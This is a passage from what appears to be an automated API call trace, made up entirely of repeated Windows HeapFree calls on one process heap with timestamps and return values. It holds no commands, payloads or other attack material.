hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.273] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.274] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.275] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.277] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.279] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.280] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.282] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0048.286] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0048.287] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.289] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.290] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.291] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.541] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.542] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.544] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.546] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.547] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.548] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.550] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.551] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.563] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.564] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.566] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.567] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.569] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.570] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.572] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.573] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.575] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.576] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.577] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.579] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.580] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.582] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.584] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0048.585] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.080] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.081] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.082] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.087] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.089] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.091] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.092] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.093] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.095] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.096] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.097] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.098] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.100] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.101] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.102] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0049.102] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4393f40 | out: hHeap=0x690000) returned 1 [0049.104] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.106] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.108] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.110] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.302] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.306] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.308] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.308] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.311] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.315] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.317] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.318] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.320] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.324] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.326] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.328] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.330] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.331] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.333] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.435] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.437] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.438] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.440] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.443] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.445] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.446] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.448] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.760] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.762] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.763] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.763] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.764] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.765] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.766] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.766] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.767] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.767] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.767] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.768] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.769] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.769] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.769] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.770] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.771] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.772] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.790] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.813] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.815] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.816] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.818] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0050.010] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.012] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.012] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.015] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.017] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.020] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.021] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.021] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.021] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.028] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.028] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.030] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.034] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.034] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.034] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.037] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.040] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.042] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.042] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.411] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0050.412] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0050.412] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.418] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.418] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.420] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.420] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0050.420] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.461] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.766] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0050.774] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.775] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.783] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.784] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.785] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.786] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.786] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.787] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.791] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.793] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | 